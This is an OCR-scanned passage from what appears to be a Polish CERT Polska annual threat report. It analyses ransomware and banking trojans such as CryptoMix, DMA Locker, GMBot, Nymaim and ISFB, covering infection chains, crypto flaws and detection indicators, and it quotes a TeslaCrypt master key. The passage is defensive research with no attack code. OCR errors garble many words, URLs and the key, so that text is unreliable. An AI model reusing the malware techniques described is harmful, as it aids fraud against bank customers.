CryptoMix to do$¢ nowa rodzina ransom-
ware, znana réwniez pod nazwqg CryptFile2.
Jest rozprowadzana gtdwnie przez exploit-kit
Rig-V.

Wyréznia sie on na tle innych analizowanych
przez nas rodzin kilkoma cechami:

e Bardzo wysoki okup - 5 bitcoindw to znacz-
na kwota (ok. 20 000 PLN w czasie tworze-
nia tego raportu). W dodatku, wedtug
komentarzy znalezionych w internecie,
zaptacenie przestepcom wcale nie gwa-

rantowato ofrzymania klucza deszyfrujgce-
go. NatrafiliSmy na historie cztowieka,
ktéry zaptacit prawie 4 800 USD, po czym
twércy kompletnie zerwali kontakt bez
stowa wyjadnienia ani oddania plikéw. Tra-
dycyjnie przypominamy, ze negocjowanie
z przestepcami jest zawsze ryzykowne i nie
gwarantuje odzyskania plikow.

e CrypfoMix nie ma swojego portalu stuzqce-
go do deszyfrowania plikdéw - ofiara ofrzy-
muje adres e-mail, na ktéry nalezy napisac
chcqgc ustali¢ metode ptatnosci i odzyskac
klucz deszyfrujacy.

e Dodatkowo twércy przekonuja, ze wpta-
cone pienigdze zostang przeznaczone na
dziatania charytatywne. Nie mamy oczywi-
scie wagtpliwosci, ze sg to ktamstwa, ale
prawdopodobnie prébujg w ten sposdb
przekona¢ niezdecydowanych do uiszcze-
nia zgdanej kwoty.

Od sfrony technicznej CryptoMix nie wy-
réznia sie niczym szczegdlnym. Wtasciwy
plik binarny jest trzymany w zasobach, za-
szyfrowany przy pomocy algorytmu xor
(okazjonalnie RC4). Po wyciggnieciu wta-
Sciwego kodu programu generowany jest
klucz, albo (w przypadku kiedy C&C jest of-
fine) uzywany jest klucz zapisany na state
w prébce. Nastepnie szyfrowane sq pliki pa-
sujgce do duzej (zawierajgcej ponad 1250
rozszerzen) whitelisty - ciekawostkg jest to, ze
szyfrowane sq tez ponownie pliki zaszyfrowa-
ne przez inne rodziny ransomware (np pliki
.cerber4 Cerbera, albo pliki .locky Lockiego).
Malware twierdzi, ze pliki szyfrowane sq ,,2048
bitowym kluczem RSA", ale nie jest to do kon-
ca prawdq - klucz RSA jest generowany, ale
nastepnie jest przetwarzany za pomocqg algo-
rytmu SHA256 i traktowany joko symetryczny
klucz AES256 w trybie CBC z zerowym IV. Kolej-
nym problemem implementacyjnym jest staba
generacja klucza, przez co przy odpowiednio
duzej liczbie infekcji wystepuje ryzyko duplika-
cji ID uzytkownika.

Zespot CERT Polska przyczynit sie w tym przy-
padku bezpodrednio do walki z przestepcami.
Napisalismy narzedzie, ktdre wykorzystuje fakt
stabej implementaciji kryptografi w CryptoMix
i umozliwia odzyskanie zaszyfrowanych plikéw
bez potrzeby ptacenia okupu. Informacja
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o tym, jak z niego skorzystaé znajduje sie
w artykule opublikowanym na stronie cert.plé.
Nie powstrzymato to twdrcdw ransomware, ale
na pewno zmniejszyto ich zyski.

TeslaCrypt

Na koniec ransomware, ktérego historia ma
szczedliwe zakohczenie mimo niezbyt optymi-
stycznego poczatku. W styczniu 2016 na rynku
pojawita sie wersja 3.0 malware’u TeslaCrypf,
ktéra naprawiata poprzednio znane btedy
w szyfrowaniu. Jednak juz od kwietnia twércy
zaczeli powoli zamykaé¢ swojq infrastrukture,
a dystrybutorzy TeslaCrypt powoli przerzucali
sie na rozprowadzanie CryptXXX.

W tym momencie wkroczyt pewien badacz
z ESET, ktéry na czacie ,pomocy technicznej
TeslaCrypt"” zasugerowat twdrcom, aby wypu-
$cili klucz deszyfrujgcy skoro i tak kohczg ope-
racje. Ku jego zaskoczeniu zgodzili sie i w maju
umiescili takie ogtoszenie (w ttumaczeniu na
jezyk polski):

Projekt zamkniety!
Gtéwny klucz deszyfrujacy:

440A241DD80OFCC5664E861989DB716E08CE627D-
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8D40C7EA360AE855C727 A49EE.
Poczekajcie az inni ludzie stworzq
uniwersalny program deszyfrujacy.
Przepraszamy!

DMA Locker

Nowa polska rodzina ztodliwego oprogramo-
wania. Zostata przez nas doktadnie opisana
w rozdziale ,,Polska scena ztodliwego oprogra-
mowania” (patrz obok).

63 https://www.cert.pl/news/single/techniczna-
analiza-rodziny-cryptomixcryptfile2/

Podsumowanie

Ransomware jest powaznym zagrozeniem
i zroku narok jest go coraz wiecej. Wedtug sta-
tystyk McAfee, w 2016 roku popularno$c ran-
somware wzrosta o 80 proc. w stosunku do po-
przedniego roku (Zrédto: hitps://www.mcafee.
com/hk/resources/misc/infographic-threat-
s-predictions-2017.pdf). Pojawity sie tez nowe
modele ataku, jak na przyktad szyfrowanie pu-
blicznie dostepnych baz danych (MongoDB,
Redis), albo tak zwanego internetu rzeczy, no-
zywanego ztodliwie ,internetem zagrozen”, ze
wzgledu na regularnie pojawiajqce sie kolejne
nowe podatnosci.

Na szczedcie sq rowniez optymistyczne ak-
centy. Powstaty bowiem nowe inicjatywy - na
przyktad NoMoreRansom® albo Cyber Threat
Alliance®, ktére aktywnie walczg z przestep-
czqg infrastrukturg oraz tworzg narzedzia de-
szyfrujgce. Dodatkowo roénie $Swiadomosé
spoteczna, dzieki czemu coraz wiecej ludzi
pamieta o nalezytym zabezpieczeniu stacji ro-
boczej oraz backupach.

Polska scena ztosliwego oprogramo-
wania

W tej czesci raportu opisujemy przypadki zto-
Siwego oprogramowania  analizowanego
w zespole CERT Polska, ktére w naszej ocenie
zostaty stworzone w Polsce lub we wspdtpracy
z polskimi przestepcami.

Benio

Pod koniec wakacji nastgpito odrodzenie
frojana bankowego VBKlip, pod nieco przy-
jazniejszg nazwqg - Benio!. Celem Benia, tak
samo jak pierwowzoru, byta podmiana nume-
ru konta bankowego w pamieci przeglgdarki.
Koncepcja takiego dziatania pojawita sie oko-
to 2013 roku. Poczgtkowo byta to podmiana
numeru konta w schowku Windows.

64 https://www.nomoreransom.org/

65 https://cyberthreatalliance.org/

66 https://zaufanatrzeciastrona.pl/post/uwaga-na-niebez-
piecznego-benia-czyli-vbklip-nie-wie-kiedy-ze-sceny-zejsc/
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Propagacja ztosliwego oprogramowania na-
stepowata za pomocq fatszywych maili z po-
twierdzeniem fransakcji z jednego z polskich
bankdéw. Zatqcznik zawierajgcy podwdjne
rozszerzenie .PDF.SCR rozpakowywat sie do ka-
falogu tymczasowego w profilu uzytkownika.
Byty tam umieszczane trzy moduty podszywa-
jace sie nazwami pod komponenty systemu
Windows: taskmgr.exe (wew: UPD), mscvhost.
exe (STN), msavhost.exe (KL) oraz fatszywe
potwierdzenie przelewu z 2011 roku. Projekt
podobnie jak VBKlip zostat napisany w Visual
Basicu.

Pierwszy modut odpowiadat za wysytanie do-
nych na zdefiniowany w kodzie programu ad-
res mailowy, sprawdzanie aktualizacji ztodliwe-
go oprogramowania i pliku konfiguracyjnego
oraz sprawdzenia dziatania poszczegdinych
komponentdéw zdefiniowanych w pliku o no-
zwie temp[0000-9999].tmp.

Podmiana konta byta domeng modutu STN
- wyszukiwat on zdefiniowane w pliku konfigu-
racyjnym wyrazenia w pamieci przeglgdarki
oraz tytut okna. W przypadku zgodnosci na-
stepowata podmiana numeru rachunku ban-
kowego. Celem trojana byto 12 dziatajgcych
w Polsce bankdéw, aczkolwiek przy pieciu
z nich podmiana byta zablokowana. Logika
wykorzystywana przez Benia przypomina tech-
nike webinjectdéw stosowang w innych trojo-
nach bankowych, takich jak np. ISFB czy Tinba.
Jednak jej implementacja w tym przypadku
jest bardzo prymitywna i nie zawsze dziatata.

Ostatni modut jest keyloggerem zbierajgcym
dane wpisywane poprzez klawiature oraz no-
zwe aktywnego okienka programu. Jego ce-
lem jest réwniez kradziez danych ze schowka
systemowego i zbieranie informacji o urucha-
mianych programach.

Pierwsze wersje Benia zawieraty podpis i dane
kontaktowe dewelopera:

----- DEVELOPED BY BALAGANIARZ -----
-- EMAIL: balaganiarz@safe-mail.net --
- JID: tenczwarty@exploit.im ----

Wpisy te zniknety w kolejnych wersjach opro-
gramowania. tgcznie udato sie zidentyfiko-
wac kilkanascie réznych wersji Benia, ktére
byty wysytane w ramach réznych scenariuszy:
zdjecie z aukcji Allegro czy plik RTF, podszy-
wajqcy sie pod fakture i zawierajgcy ztodliwe
makro.

viwOrm

Kolejna odstona doskonale znanych w polskim
internecie kampanii Poczty Polskiej oraz faktur
operatora telefonii komdrkowej byta realizo-
wana przez innego akfora za pomocqg innego
ztodliwego oprogramowania. Niestety mimo
ze scenariusz jest ogdlnie znany, to w dalszym
ciggu uzytkownicy padajq jego ofiarg. W przy-
padku poprzednich kampanii byto to opro-
gramowanie szyfrujgce TorrentLocker, w tym
produkt viwOrm (Vengeance Justice WOrm)
dewelopera znanego w internecie jako V_BO1
lub Sliemerez.

Malware jest udostepniany na arabskoje-
zycznym forum DevPoint. W serwisie YouTube
powstaty nawet samouczki dla tych przestep-
cow, ktérzy nie majg wystarczajgcej wiedzy
technicznej. Czes$¢ po stronie zarzgdcy botne-
tu jest napisana w jezyku C#, natomiast cze$¢
kliencka moze zosta¢ wygenerowana jako
skrypt Visual Basic, PowerShell, ztodliwy skrét
Ink oraz JavaScript (taki format pliku wybrat
dystrybutor ztoliwego oprogramowania).

Program zarzgdzajgcy nie jest zaciemniony
w zaden sposéb - za pomocqg publicznie do-
stepnych narzedzi mozemy bez problemu
zdekompilowaé¢ i podejrze¢ kod Zrodtowy
projektu. Malware réwniez propaguje sie przez
noéniki USB podtgczone do zainfekowanego
komputera. Skrypt wygenerowany przez ser-
wer zarzqdzajgcy posiadat niewielkg, aczkol-
wiek wystarczajgcq funkcjonalno$¢ do zdalne-
go zarzgdzania zainfekowanymi urzgdzeniami
i uruchamiania na nich wtasnego kodu. Co
siedem sekund wysytane byto zgdanie do ser-
wera C&C z proSbg o udostepnienie kolejnych
rozkazéw: uruchomienia skryptu pobranego
z serwera zarzqdzajgcego lub pobrania pliku
z URLa i uruchomienie na maszynie ofiary.
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Proxy Changer (Pacca)

Model dziatania Proxy Changera byt prostym
i kreatywnym rozwigzaniem problemu certyfi-
katdéw SSL w serwisach transakcyjnych banko-
wosci elektronicznej. Ztosliwe oprogramowa-
nie uruchamiato na komputerze ofiary skrypt
Proxy auto-config (PAC), ktdry zmieniat usta-
wienia proxy w przeglgdarce intfernetowej. Od
tej pory ruch sieciowy byt kierowany do serwe-
réw przestepcdw zlokalizowanych na Ukrainie.

Drugim krokiem byta instalacja wtasnego cer-
tyfikatu SSL w systemie operacyjnym. Powodo-
wato to, ze uzytkownik odwiedzajgc fatszywq
strone swojego banku widziat na pasku prze-
glgdarki zielong ktddke - symbol bezpieczne-
go potgczenia. Logujgc sie do serwisu ban-
kowosci uzytkownik otrzymywat komunikat
o nastepujacej tresci:

’ W trosce o Panstwa dane widniejgce
w systemie bankowym prosimy o potwi-
erdzenie tozsamosci poprzez podanie

kodu z narzedzia autoryzacyjnego. Wielokrot-
na préba logowania bez podania kodu bedzie
skutkowata blokadqg dostepu do bankowosci
elekironicznej!

50

Jego celem byto oczywiscie wytudzenie ko-
déw jednorazowych, ktére stuzyty przestep-
com do dokonania przelewu na konto stupa.
Malware skutecznie skompromitowat okoto
kilkuset uzytkownikdw, lecz cata infrastruktura
zostata wytqgczona po uptywie okoto miesigca
od ataku. W kodzie zmodyfikowanego serwisu
fransakcyjnego mozna byto znalezé wiele ko-
mentarzy w jezyku polskim.

Instrukcje usuniecia zagrozenia, przygotowa-
ng przez Prebytes, opublikowat na swojej stro-
nie Zwiqzek Bankdw Polskich?’.

67 https://zbp.pl/dla-konsumentow/bezpieczny-bank/aktu-
alnosci/komunikat-nowe-szkodliwe-oprogramowanie-pac-
ca-dokonujacy-zmian-w-certyfikatach-ss

Kampania InPost + ,pozyczony” LuminosityLink
RAT

Rozwdj rynku ustug pocztowych powoduje, ze
przed przestepcami pojawiajqg sie nowe moz-
liwosdci naktonienia ofiary do zapoznania sie
z tredciq ztosliwego maila. Tym razem rozsytane
byto potwierdzenie odbioru paczki z paczko-
matu - w formacie pliku Microsoft Word z ma-
krami.

Aby naktoni¢ ofiare do wtgczenia makr (do-
myslnie pakiet Microsoft Office blokuje makra
w dokumentach pobranych z internetu), uzyt-
kownikowi ukazywat sie komunikat o utworze-
niu dokumentu w nowszej wersji pakietu biu-
rowego i konieczno$ci wigczenia makr celem
poprawnego wyswietlenia zawartosci.

Makro stuzyto do pobrania pliku wykonywal-
nego z serwera przestepcy i zapisanie go
w folderze plikbw tymczasowych w profilu
uzytkownika. Plik byt spakowany packerem
zawierajgcym  mechanizmy  zaciemniania
kodu i szyfrujgcym jego zawarto$¢ za pomocq
algorytmu AES-256. Co ciekawe, z racji cze-
stego btedu programistycznego ,,off-by-one”
oraz dwukrotnego uzycia tego samego skré-
tu MD5 podczas generacji klucza, efektywna
sita algorytmu zostata ostabiona do poziomu
AES-128.

Ostatnim etapem byto wypakowane oprogro-
mowanie LuminosityLink RAT, posiadajgcego
mozliwosci zdalnego zarzqdzania zainfeko-
wang maszyng, podmiany adreséw serwerdw
DNS czy robienia zdje¢ kamerkq internetowq.
Malware po instalacji blokowat dostep do
domen zwigzanych z firmami produkujgcymi
rozwigzania AV i portalami z oprogramowa-
niem. Wsrdd nich znalazto sie rdwniez siedem
polskich domen.

Jako bonus twérca kampanii dorzucat od
siebie dodatkowe ztodliwe oprogramowanie
napisane w jezyku Visual Basic i zaciemnione
za pomocqg AutolT. Kolejny malware zawierat
moduty wykrywajqce inne ztodliwe oprogra-
mowanie oraz mozliwo$¢ rozprzestrzeniania sie
poprzez nosniki wymienne.
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DMA Locker

Pionier polskiego ransomware, ktérego pierw-
sza wersja zawierata prawie wszystkie mozliwe
btedy jakie moze popetni¢ autor tego typu
ztodliwego oprogramowania, czyli klucz deszy-
frujgcy zapisany w prébce, awarie programu
podczas szyfrowania, takie same klucze dla
kazdego pliku, niezaciemniony plik binarny,
a ponadto logowanie wszystkiego w jezyku
polskim na konsole. Wszystkie te przeoczenia
powodowaty, ze pliki byty mozliwe do odszy-
frowania w bardzo prosty sposdb. Interesujgcy
opis pierwsze] wersji DMA Lockera zamiescit
portal ZaufanaTrzeciaStrona.plé.

Kolejne wersje réwniez miaty problemy z obstu-
gq kryptografii. Tym razem uzyty zostat staby
generator kluczy AES. Dopiero poczgwszy od
wersji trzeciej ransomware byt grozny dla uzyt-
kownikdw, poniewaz zaszyfrowane pliki byty
niemozliwe do odszyfrowania bez klucza po-
siadanego przez przestepcdw, aczkolwiek raz
zakupiony klucz mégt zostac uzyty do odszyfro-
wania plikdw wszystkich uzytkownikdw. Po oko-
to czterech miesigcach udoskonalania kodu,
w potowie maja, autorzy uzyskali niemoznosé
odszyfrowania pliku przez ofiare za pomocq in-
nych sposobdw niz zaptacenie okupu.

DMA Locker pojawit sie rowniez w kampaniach
exploit kita Neutrino® oraz wzbogacit sie o stro-
ne stworzong do ptacenia okupu. Do tej pory
wymagana byta interakcja z przestepcami za
pomocq wiadomosci e-mail. Panel jednak nie
byt wystawiony w sieci Tor, jak w przypadku
innych podobnych rozwigzaniach, tylko jako
normalna strona infernetowa (pod tym samym
adresem znajdowaty sie réwniez C&C generu-
jace klucze dla ofiar).

68 https://zaufanatrzeciastrona.pl/post/dma-locker-czy-
li-komicznie-nieudany-i-pelen-bledow-polski-ransomware/

69 https://blog.malwarebytes.com/threat-analysis/2016/05/
dma-locker-4-0-known-ransomware-preparing-for-a-massive-
distribution/

GMBot

W raporcie za 2015 rok informowali§my o po-
jawieniu sie na rynku urzqdzen z systemem
Android nowej, bardzo niebezpiecznej dla
uzytkownikdw aplikacji wytudzajgcej poufne
dane. Wszechstronne mozliwoéci GMBota (na-
zewnictwo CERT Polska), a takze wyciek kodu
Zrodtowego (luty 2016) przesqdzity o jego ,,suk-
cesie” marketingowym oraz szerokiej dystrybu-
cji, takze w Polsce.

Wedtug danych PRNews.pl, pozyskanych
ankietowo od 14 najwiekszych bankéw dzio-
tajgcych w Polsce, mamy blisko 8 miliondw
uzytkownikdw bankowosci mobilnej®. Szacuje
sie, ze udziat systemu Android w kraju to okoto
65 proc. tgczgc te dwie ogdlnodostepne in-
formacje, przestepcy obliczyli potencjat rynku
i podjeli stosowne dziatania.

W celu zainfekowania urzgdzenia uzywano
prostych zabiegdw socjotechnicznych. W tym
wypadku byty to kampanie SMS z linkami do
aplikacji. Wiadomos¢ z nadawcqg podpisanym
+ANDROID" zawierata krétki komunikat méwig-
cy o potrzebie wykonania aktualizacji na urzg-
dzeniu. Link w tfresci kierowat do zagranicznej
domeny, skgd mozna byto pobra¢ instalator
aplikacji. Standardowe ustawienia zabezpie-
czeh w urzgdzeniu pracujgcym pod kontrolg
systemu Android powodowaty koniecznos$c
zaakceptowania przez ofiare dopuszczenia in-
stalacji aplikacji spoza oficjalnych zrédet oraz
pdzniejsze potwierdzenie uprawnien, w tym
nadanie uprawnien administratora. Po zakoh-
czeniu procesu instalacji trojan rozpoczynat
swoje dziatanie w sposdb niewidoczny dla
ofiary. Kazde urzgdzenie otrzymywato indywi-
dualny identyfikator. W panelu zarzgdzajgcym
po stronie przestepcdw identyfikatorowi ofiary
odpowiadat zbiér pozyskanych z urzgdzenia
informaciji (producent, model, system, aktual-
na lista aplikacji).

70 http://prnews.pl/raporty/raport-prnewspl-rynek-bankowos-
ci-mobilnej-iv-kw-2016-6553798.html
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Rys. 16. Nadanie uprawnie administratora
w trakcie instalaciji

Podstawowqg mozliwoscig GMBota jest wykony-
wanie tzw. przestonie¢ (ang. overlay). W urzg-
dzeniu ofiary w chwili uruchomienia interesujg-
cej przestepcdw aplikacji bqgdz strony, ,poonad”
nig wyswietlane byto okno, ktdre rejestrowato
a nastepnie wysytato wpisang kombinacje

Rys. 17. Przyktad przestoniecia aplikacji
mobilnej na zainfekowanym urzgdzeniu

klawiszy na wskazany serwer. Naktadki byty
przygotowane w kolorystyce oraz stylistyce
odpowiadajgcej atakowanej organizaciji. Pro-
wadzona kampania zawierata przestoniecia
21 aplikacji mobilnych oraz stron logowania
bankéw dziatajgcych w Polsce.

Rys. 18. Przyktad przestoniecia strony w przeglgdarce mobilnej urzgdzenia
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Niezwykle niebezpieczng funkcjonalnoscig
malware'u byta mozliwos¢ przekazywania
komunikacji SMS zainfekowanego urzgdzenia
do serwera. Co wiecej, zarzqgdzajgcy pane-
lem mogt wyswietli¢ ofierze dowolny komuni-
kat sugerujgcy otrzymanie wiadomosci SMS
od wybranego nadawcy. Najczeiciej byt to
komunikat majgcy na celu zachecenie ofiary
do zalogowania sie do interesujgcej przestep-
coéw aplikacji mobilnej lub strony. W przypad-
ku uruchomienia jednej z aplikacji uprzednio
okreslonych w konfiguracji bota wywotywana
byta naktadka wytudzajgca narzedzia autory-
zacyjne, a takze dane kart ptatniczych. Wszel-
kie wpisane dane frafiaty do panelu zarzo-
dzajgcego i mogty zosta¢ wykorzystane przez
przestepcédw do przeprowadzenia operacii
fraudowe;j.

Rys. 19. Naktadka wytudzajgca dane
karty ptatniczej.

Ofiara chcgc pozby¢ sie ztodliwe] aplikacii
z urzqdzenia, musiata niestety liczy¢ sie z ko-
niecznoéciq fabrycznego resetu urzgdzenia.
Zaawansowani technicznie uzytkownicy mogli
przeprowadzi¢ te operacje poprzez konsole
Android Debug Bridge.

Zagrozenie w postaci GMBota zostato bardzo
dobrze oraz odpowiednio wczeénie rozpozna-

ne. Szereg publikacji CERT Polska”!, a takze
wspodtpraca z krajowymi operatorami GSM,
niewqgtpliwie przetozyta sie na mniejszg skale
infekcji. Na podstawie numeru IMEI zidentyfi-
kowanych zostato okoto 1000 krajowych urzg-
dzeh. W zestawieniu z tgczng liczbg ponad 35
tysiecy ofiar na catym $wiecie mozemy oce-
nia¢ polskg kampanie GMBota jako nieudang.
Potwierdzajg to réwniez wykradzione wskutek
dziatania malware'u dane. Wiekszos¢ nie za-
wierata wraZliwych treSci w postaci haset do-
stepu do bankowosci lub numerdw kart ptat-
niczych.

Nymaim

Nymaim nie jest nowq rodzing ztosliwego opro-
gramowania - pierwszy raz zostat odnotowa-
ny w 2013 roku. Wéwczas byt wykorzystywany
jedynie jako dropper, gtéwnie do dystrybucii
TorrentLockera.

W lutym 2016 roku ponownie stat sie popu-
larny, gdy do jego kodu zostaty dotgczone
fragmenty kodu ISFB, ktéry wczesniej wyciekt.
Zyskat wtedy przydomek ,Goznym”. Ta in-
karnacja Nymaima byta dla nas szczegdlnie
interesujgca, poniewaz zyskata mozliwosci
bankera i stata sie powaznym zagrozeniem
w Polsce. Z tego powodu przeprowadzilismy
jego doktadng analize. Od tamtego czasu by-
lismy w stanie §ledzi¢ aktywno$¢ Nymaima.

Pod koniec roku sie¢ fast-flux nazywana , Ava-
lanche” (wykorzystywana intensywnie przez
Nymaima) zostata wytqgczona dzieki skoordy-
nowanym dziataniom organdw $cigania kilku
krajow (zob. str. 33). Przez prawie dwa tygodnie
Nymaim byt catkowicie nieaktywny, a obecnie
jest cieniem tego, czym byt jeszcze niedawno.
Mimo ze jest ciggle aktywny w Niemczech
(z nowymi injectami), dopiero niedawno po-
wrécit do Polski.

Nasze badania zostaty opublikowane najpierw
na konferenciji Virus Bulletin 2016, a pdzniej na
oficjalnym blogu CERT Polska’2.

71 https://www.cert.pl/news/single/gmbot-nowe-sposo-
by-wyludzanie-danych-przegladarek-mobilnych/

72 https://www.cert.pl/news/single/nymaim-ataku-
je-ponownie/
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Przebieg infekcji

Nymaim jest rozprowadzany gtébwnie przez zto-
Sliwe zatgczniki w e-mailach (tak zwany mal-
spam). Kiedys zatgczniki te zawieraty gtéwnie
pliki .doc z makrami VBA pobierajgcymi mal-
ware. Wraz z upadkiem Avalanche ta cze$¢
zostata uproszczona i teraz zatqgcezniki zawiera-
ja bezpodrednio pliki .exe.

Kiedy kto§ uruchomi taki ztosliwy zatgcznik, roz-
poczyna sie proces infekcji. Jest on o tyle cie-
kawy, ze Nymaim robi za dropper dla samego
siebie, co oznacza, ze pierwszy program, kté-
rym zaraza sie uzytkownik, nie wykonuje jesz-
cze zadnych ztodliwych operaciji. Sprawdza
tylko:

e czy nie jest wykonywany na maszynie wirtu-
alnej (zeby utrudni¢ analize),

e czy nie jest uruchamiany w zadnym auto-
matycznym $rodowisku (np. systemie
Cuckoo),

e czy akfualna data nie jest wieksza niz
,termin waznosci” zapisany w prébce.

Szczegdlnie ostatni warunek jest ciekawy.
Oznacza on, ze jedli bedziemy analizowaé
e-mail sprzed kilku dni, nasza analiza bedzie
bardzo ograniczona, poniewaz dropper nie
pobierze wtasciwej czesci malware'u.

Ale jesli wszystkie te warunki zostang spetnio-
ne, rozpoczyna sie faktyczny proces infekcji
i pobierana jest wtadciwa cze$¢ Nymaima, po-
trafigca wykonywaé np. webinjecty. Od tego
momentu komputer uzytkownika jest juz w pet-
ni zainfekowany i kazda préba zalogowania
sie do banku moze skonczy<¢ sie kradziezg ha-
sta oraz srodkdw z konta.

Symptomy infekgciji

Zazwyczaj dobrg obrong przed ztodliwym opro-
gramowaniem sq antywirusy. Czasami dobrze
jest jednak wiedzie¢, jak samemu sprawdzi¢,
czy dany komputer zostat zainfekowany. Ny-
maim dobrze ukrywa sie w systemie - protokét
sieciowy jest szyfrowany w catosci i nie do od-
réznienia od losowych danych (bez znajomo-
§ci klucza deszyfrujgcego), oraz nie posiada
zadnych wzorcdw tatwych do wypatrzenia
w systemie. Jest jednak kilka cech charakte-
rystycznych:

1. Ruch sieciowy do serweréw C&C

Ruch sieciowy jest nie do odréznienia od loso-
wych danych, w dodatku nagtéwek Host jest
fatszowany, czyli ustawiany na zaufang dome-
ne, zeby nie wzbudza¢ podejrzenh, np. zepter.
com albo carfax.com. Nie sq to zainfekowane
domeny, wykorzystywana jest tylko ich nazwa.

2. Ruch P2P

Ruch tutaj réwniez nie jest do odréznienia od
losowych danych, ale cechqg charakterystycz-
nq jest port: wezty uzywajq portu innego niz 80.
W obecnym botnecie jest uzywany port 31149
TCP.Ruch HTTP z pseudolosowymi danymi na
tym porcie to znak, ze system jest zainfekowany.

3. Pliki w systemie

Tu réwniez nie jest tatwo, bo kazda wersja ma
inng posta¢ nazwy. Kilka rzeczy jest jednak
wspdlnych. Przede wszystkim pliki chowajg
sie w ukrytym domysinie folderze %appdata%
albo %alluserprofile%. Nazwy réwniez sq cha-
rakterystyczne - sktadajq sie z losowego stowa
i liczby. Przyktadowo:

Nastepnie dopisuje sie on do rejestru, konkret-
nie klucza HKCU\Software\Microsoft\Win-
dows\CurrentVersion\Run. Obecnos¢ pliku
o takiej nazwie w tym miejscu to kolejne Swia-
dectwo infekcji. Dysponujemy réwniez listq
wszystkich aktualnych wariantdw Nymaima,
ale nie zostata ona opublikowana.

4. Algorytm Generowania Domen (DGA)

Nie jest to pewny sposdb, gdyz DGA jest uzy-
wane tylko jako zapasowy sposdb komuni-
kacji. W momencie, kiedy Nymaim nie moze
potqczy¢ sie ze swoim serwerem, prébuje od-
gadnqg¢ jego adres, generujgc pseudolosowe
domeny i sprawdzajgc, czy w pewnym mo-
mencie potqczenie sie powiedzie. Algorytm
DGA zostat dobrze opisany (przez nas, a wcze-
$niej przez badaczy z Cisco Talos).
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Ruch DGA tatwo pozna¢ po tym, ze serwer
DNS jest odpytywany o bardzo wiele loso-
wo wyglgdajgcych domen, z ktérych prawie
wszystkie nie istniejg. W przypadku Nymaima
domeny charakteryzujq sie tym, ze majg od
5 do 12 znakdéw dtugosci oraz kohczqg sie na
.net, .com, .in lub .pw. Aktualnie uzywanym
serwerem DNS jest 8.8.8.8 lub 8.8.4.4. Wiek-
szo$¢ tych zapytan zakohczy sie odpowiedzig
NXDOMAIN, co jest charakterystyczne dla
ztodliwego oprogramowania wykorzystujgce-
go DGA.

Cechy charakterystyczne

Nymaim jest botnetem P2P, co oznacza, ze zo-
infekowane maszyny komunikujqg sie nie tylko
z serwerami C&C, ale réwniez miedzy sobg.
Znacznie utrudnia to neutralizacje catego
botnetu, poniewaz nie wystarczy wytqczenie
jednego serwera. Nalezatoby jednoczednie
usung¢ wszystkie infekcje, co oczywiscie jest
w praktyce niemozliwe. Botnety P2P sq jednak
podatne na inne ataki, na przyktad zatruwao-
nie (wysytanie fatszywych weztdéw).

Co wazne, Nymaim wyrdznia sie przede

wszystkim bardzo siinym zaciemnieniem kodu.

Dlatego jest jednym z najtrudniejszych w ano-

lizie gatunkdw malware. Zaciemniony jest sam

kod, wszystkie state napisy uzywane w progro-

mie, wszystkie state uzywane bezposdrednio w

kodzie. Mocno szyfrowana jest tez sama kon-

figuracja oraz protokdt wykorzystywany do
komunikacji z serwerem C&C. Aby wykonac
analize, stworzylismy caty zbidr skryptéw, ktére
udostepnilismy (prawie w catosci) innym ba-
daczom na stronie github.com pod nazwg ny-
maim-tools 73. Dzieki nim udato nam sie wydo-
by¢ wszystkie interesujgce dane i na biezqco

§ledzi¢ kampanie Nymaima.

W szczegdlnosci odkrylismy:

e 15 000 superweztéw Nymaima (zainfeko-
wanych maszyn stuzgcych jako serwery dla
innych maszyn w botnecie), z czego 7 500
w Polsce.

e Doktadng liste ponad 300 bankéw w Pol-
sce, ktére sq atakowane (wiekszo$¢ z nich
stanowiq banki spétdzielcze) oraz to w jaki
sposéb przeprowadzane sq ataki.

73 https://github.com/CERT-Polska/nymaim-tools

e Lliste atakowanych bankdéw w innych kra-
jach (Sledzilismy botnet z Polski, ale z Nie-
miec oraz z USA).

ISFB

Nieustajgcym zagrozeniem w polskim interne-
cie jest malware znany jako ISFB (a takze jako
Gozi/Ursnif). Towarzyszy nam on juz czwarty
rok, jednak dopiero w minionym roku zdetroni-
zowat tiny bankera (znanego takze jako Tinba)
czy dowolne pochodne Zeusa. Ubiegty rok
przyniést rozszerzenia umozliwiajgce komuni-
kacje z uzyciem sieci TOR oraz sieci P2P, oraz
nowy wariant znany joko Dreambot.

Analiza techniczna tego zagrozenia zostata za-
prezentowana przez CERT Polska na konferen-
cjiBotConf 2016, z ktérej materiaty sq dostepne
publicznie’ 7°. Infekcje odbywaty sie zaréwno
z wykorzystaniem exploit kitdéw, jak réwniez
zmasowanych kampanii spoamowych. Tema-
fem kampanii spamowych byty materiaty
erotyczne, nie zaptacone faktury i inne wazne
dokumenty.

Do tego typu e-maili zatgczone byty archiwa

ZIP z:

e plikami wykonywalnymi o podwdjnym roz-
szerzeniu (PDF.exe,PNG.exe)

e pliki Microsoft Office .DOC zawierajqce zto-
$liwe makra

e pliki js/.jse zawierajgce ztosliwy kod JScript

Od ISFB do urzgdzeh mobilnych

W grudniu 2016 roku obserwowali§my kolejng
fale atakdw na klientéw bankowosci elektro-
nicznej z wykorzystaniem trojana bankowe-
go o nazwie ISFB. Sam atak nie wyrdzniat sie
niczym szczegdlnym. Interesujqcy, a zarazem
bardzo niebezpieczny, byt nieobserwowany
do tej pory na rynku polskim scenariusz wyko-
rzystania ISFB do infekcji urzgdzeh mobilnych
z uzyciem stron frzecich np. Gmaila.

Atak rozpoczynat sie od infekcji kompute-
ra ofiary. Malware byt dystrybuowany z wy-
korzystaniem e-maili zawierajgcych ztodliwy

74 slajdy: https://www.botconf.eu/wp-content/up-
loads/2016/11/PR20-ISFB-Kotowicz-.pdf
75 video: https://youtu.be/Nm7d_kO_yOM
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Rys. 20. Wpisy dotyczgce domeny mail.google.com

zatgcznik. Ofiara ofrzymywata plik konfiguro-
cyjny definivjgcy atakowane cele. Jak do tej
pory zawierat on tylko serwisy transakcyjne pol-
skich bankéw. W tym przypadku poza standar-
dowymi wpisami dodano takze wpisy dotycza-
ce domeny mail.google.com (rys. 20).

Wpis powodowat, ze w momencie logowania
do Gmaila pojawiat sie dodatkowy komuni-
kat (rys 21. - zrédto zaufanatrzeciastrona.pl)
o tredci:

Rys. 21. Dodatkowy komunikat podczas logowania
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Rys. 22. Nadanie uprawnieh adminis-
fratora

Rys. 23. Lista wystanych smséw

Rys. 24. Panel

Po podaniu numeru telefonu ofiara otrzymy-
wata poprzez bramke (hadawca: AuthCode)
